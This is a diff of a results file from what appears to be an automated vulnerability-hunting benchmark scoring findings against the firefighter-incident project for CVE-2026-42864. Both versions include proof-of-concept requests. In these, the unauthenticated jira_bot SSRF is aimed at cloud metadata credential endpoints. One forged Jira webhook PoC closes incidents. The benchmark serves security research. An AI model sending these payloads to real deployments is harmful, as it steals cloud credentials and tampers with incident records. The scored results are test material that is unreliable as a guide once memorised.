T3MP3ST v1 — hardened launch (AGPL, verify-claims 24/24, leak-scrubbed)

bench/cve-zero/results/hunt-GHSA-fqvv-jvhr-g5jc.json

@@ -1 +1 @@
-{"id": "GHSA-fqvv-jvhr-g5jc", "cve": "CVE-2026-42864", "repo": "ManoManoTech/firefighter-incident", "cwes": ["CWE-306", "CWE-918"], "vuln_files": ["src/firefighter/raid/serializers.py", "src/firefighter/raid/views/__init__.py"], "duration_sec": 188.9, "error": null, "strict": false, "lenient": true, "findings_scored": [{"fileMatch": false, "lineProx": false, "cweMatch": true, "hit": false, "title": "Unauthenticated SSRF via attacker-controlled attachment URLs in Jira bot endpoint", "file": "src/firefighter/raid/client.py", "line": 150, "cwe": "CWE-918"}, {"fileMatch": true, "lineProx": false, "cweMatch": true, "hit": true, "title": "Unauthenticated Jira webhook handlers allow forged incident status/priority changes", "file": "src/firefighter/raid/views/__init__.py", "line": 97, "cwe": "CWE-306"}], "n_findings": 2, "findings": [{"title": "Unauthenticated SSRF via attacker-controlled attachment URLs in Jira bot endpoint", "file": "src/firefighter/raid/client.py", "line": 150, "cwe": "CWE-918", "vuln_class": "ssrf", "severity": "high", "description": "The `CreateJiraBotView` API endpoint (urls.py -> views/__init__.py) is exposed with `permission_classes = [permissions.AllowAny]`, so it is reachable by an unauthenticated attacker. Its serializer `LandbotIssueRequestSerializer` accepts an `attachments` field as a plain `CharField` with no URL/scheme/host validation. In `LandbotIssueRequestSerializer.create()` (serializers.py ~lines 247-257) the attachments string is split into a list and passed directly to `jira_client.add_attachments_to_issue(issue_id, attachments)`. The sink `RaidJiraClient.add_attachments_to_issue` (client.py:150) iterates the attacker-supplied list and performs `http_client.get(url)` for each entry with no allow-list, scheme check, or private-IP/metadata-host filtering. An attacker can therefore force the server to issue arbitrary outbound HTTP(S) GET requests to internal-only services or the cloud metadata endpoint, enabling internal port scanning and (on GCP/AWS) retrieval of instance metadata/credentials. The retrieved content is uploaded as a Jira attachment, providing an exfiltration channel for the fetched body.", "poc": "POST /api/<version>/raid/jira_bot HTTP/1.1\nContent-Type: application/json\n\n{\n  \"summary\": \"x\",\n  \"description\": \"x\",\n  \"seller_contract_id\": \"1\",\n  \"zoho\": \"\",\n  \"platform\": \"FR\",\n  \"reporter_email\": \"attacker@example.com\",\n  \"incident_category\": \"\",\n  \"suggested_team_routing\": \"SBI\",\n  \"priority\": 4,\n  \"business_impact\": \"Low\",\n  \"attachments\": \"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token\"\n}\n\nThe server (issue creation succeeds, then) performs http_client.get('http://169.254.169.254/...') from inside the trusted network and attaches the response body (e.g., the GCP service-account token) to the created Jira issue.", "confidence": 0.85}, {"title": "Unauthenticated Jira webhook handlers allow forged incident status/priority changes", "file": "src/firefighter/raid/views/__init__.py", "line": 97, "cwe": "CWE-306", "vuln_class": "auth-bypass", "severity": "medium", "description": "`JiraUpdateAlertView` and `JiraCommentAlertView` set `authentication_classes = []` and `permission_classes = [permissions.AllowAny]` (the maintainers left an `XXX: Work on webhook token` note). An attacker can POST a forged Jira `jira:issue_updated` webhook referencing any JiraTicket key. Through `JiraWebhookUpdateSerializer._handle_status_update`/`_handle_priority_update` this lets an unauthenticated remote attacker drive a real incident to CLOSED status or change its priority (calling `incident.create_incident_update`), and spam Slack channels with attacker-controlled author/comment text. Exploitation requires knowing/guessing a JiraTicket key, but keys are low-entropy sequential (PROJECT-NNN).", "poc": "POST /api/<version>/raid/jira_update with body {\"webhookEvent\":\"jira:issue_updated\",\"user\":{\"displayName\":\"x\"},\"issue\":{\"id\":1,\"key\":\"SBI-123\"},\"changelog\":{\"items\":[{\"field\":\"status\",\"fromString\":\"Reporter validation\",\"toString\":\"Closed\"}]}}", "confidence": 0.55}], "transcript": ""}
+{"id": "GHSA-fqvv-jvhr-g5jc", "cve": "CVE-2026-42864", "repo": "ManoManoTech/firefighter-incident", "cwes": ["CWE-306", "CWE-918"], "vuln_files": ["src/firefighter/raid/serializers.py", "src/firefighter/raid/views/__init__.py"], "duration_sec": 175.1, "error": null, "strict": false, "lenient": false, "findings_scored": [{"fileMatch": false, "lineProx": false, "cweMatch": true, "hit": false, "title": "Unauthenticated SSRF via attachment URLs in Jira bot issue creation", "file": "src/firefighter/raid/client.py", "line": 150, "cwe": "CWE-918"}], "n_findings": 1, "findings": [{"title": "Unauthenticated SSRF via attachment URLs in Jira bot issue creation", "file": "src/firefighter/raid/client.py", "line": 150, "cwe": "CWE-918", "vuln_class": "ssrf", "severity": "high", "description": "The endpoint POST /api/v2/raid/jira_bot is served by CreateJiraBotView, which sets permission_classes = [permissions.AllowAny] and performs no authentication in code, making it attacker-reachable without credentials. Its serializer (LandbotIssueRequestSerializer) declares `attachments` as a plain serializers.CharField with no URL/scheme/host validation. In LandbotIssueRequestSerializer.create() (serializers.py:265) the raw attachment string is only stripped of brackets/quotes and split on ', ', then passed verbatim to jira_client.add_attachments_to_issue(issue_id, attachments). In RaidJiraClient.add_attachments_to_issue (client.py:135-150) each element is fetched via http_client.get(url) with no allowlist, scheme check, or IP filtering. An unauthenticated attacker therefore fully controls the server-side request target, enabling requests to internal-only services, cloud metadata endpoints (e.g. 169.254.169.254), and arbitrary internal hosts; the fetched content is even attached to the created Jira issue, allowing exfiltration of internal responses. The response.content is read into memory (io.BytesIO), so large/slow targets also enable DoS.", "poc": "POST /api/v2/raid/jira_bot HTTP/1.1\nContent-Type: application/json\n\n{\n  \"summary\": \"x\",\n  \"description\": \"x\",\n  \"seller_contract_id\": \"1\",\n  \"zoho\": \"1\",\n  \"platform\": \"FR\",\n  \"reporter_email\": \"a@b.com\",\n  \"incident_category\": \"x\",\n  \"suggested_team_routing\": \"SBI\",\n  \"priority\": 4,\n  \"business_impact\": \"Low\",\n  \"environments\": [\"PRD\"],\n  \"issue_type\": \"Incident\",\n  \"attachments\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n}\n\nThe server issues an HTTP GET to the internal metadata endpoint; the response body is attached to the created Jira ticket (image0/), leaking internal data. Any internal URL (http://localhost:6379/, http://internal-admin/) works equally.", "confidence": 0.85}], "transcript": ""}